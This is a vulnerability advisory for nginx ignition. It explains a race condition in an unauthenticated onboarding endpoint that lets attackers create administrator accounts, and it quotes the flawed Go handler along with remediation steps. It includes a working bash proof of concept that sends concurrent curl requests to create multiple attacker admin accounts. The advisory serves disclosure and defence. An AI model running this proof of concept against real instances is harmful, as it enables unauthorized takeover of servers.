CVE-2026-61628: nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition

## Summary `POST /api/users/onboarding/finish` is registered as **anonymous (unauthenticated)** and creates a user with **full ReadWrite admin permissions**. Because the handler uses a check-then-act (TOCTOU) pattern between the "onboarding already completed?" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race. ## Affected component - Endpoint: `POST /api/users/onboarding/finish` - Route registration: `api/user/routes.go:49` → `authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")` - Handler: `api/user/onboarding_finish_handler.go` ## Technical details The route is explicitly allowed without authentication: ```go // api/user/routes.go:48-49 authorizer.AllowAnonymous(http.MethodGet, "/api/users/onboarding/status") authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish") ``` The handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite: ```go // api/user/onboarding_finish_handler.go func (h onboardingFinishHandler) handle(ctx *gin.Context) { alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context()) // (1) CHECK if err != nil { panic(err) } if alreadyFinished { ctx.Status(http.StatusForbidden) return } requestPayload := &userRequestDTO{} if err = ctx.BindJSON(requestPayload); err != nil { panic(err) } domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload) domainModel.ID = uuid.New() domainModel.Enabled = true domainModel.Permissions = user.Permissions{ // full admin Hosts: user.ReadWriteAccessLevel, Streams: user.ReadWriteAccessLevel, Certificates: user.ReadWriteAccessLevel, Integrations: user.ReadWriteAccessLevel, AccessLists: user.ReadWriteAccessLevel, Settings: user.ReadWriteAccessLevel, Users: user.ReadWriteAccessLevel, NginxServer: user.ReadWriteAccessLevel, Caches: user.ReadWriteAccessLevel, // ...all remaining permissions ReadWrite/ReadOnly } if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil { // (2) ACT panic(err) } // ...authenticates and returns a JWT for the new admin } ``` The gap between **(1)** `OnboardingCompleted()` and **(2)** `Save()` is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the `alreadyFinished == false` check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT. ## Preconditions (stated honestly) This is exploitable when the instance is in a **pre-onboarding state**: 1. **Fresh deployment** — the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in *alongside* the operator's, so the operator's onboarding appears to succeed normally while the attacker silently holds admin. 2. **State reset** — if onboarding state can return to "not completed" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive. The single-request path is a setup-window exposure; the **race** is what turns "first legitimate admin" into "attacker also gets admin," and what allows multiple admin accounts to be minted from one burst. ## Proof of concept Against an instance that has not yet completed onboarding: ```bash # Fire concurrent onboarding-finish requests; multiple admin accounts are created, # each returning a valid admin JWT, despite the single-admin intent. for i in $(seq 1 20); do curl -s -X POST http://TARGET/api/users/onboarding/finish \ -H 'Content-Type: application/json' \ -d '{"username":"attacker'"$i"'","password":"P@ssw0rd123!"}' \ -o /dev/null -w "%{http_code}\n" & done wait # Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403. ``` Each `200` response body contains a `userLoginResponseDTO` with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages. ## Impact - **Unauthenticated administrative account takeover** of a fresh (or reset) instance. - Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable — see the related nginx-configuration-injection issues — so admin here is a path to SSRF / arbitrary nginx directives.) - The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth. ## Remediation 1. Make onboarding completion atomic: enforce a database-level unique constraint (e.g. "at most one onboarding user" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex. 2. Re-check `OnboardingCompleted()` inside the same transaction that performs the insert, and abort on conflict. 3. Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely. --- *Finding ID: GM-4607*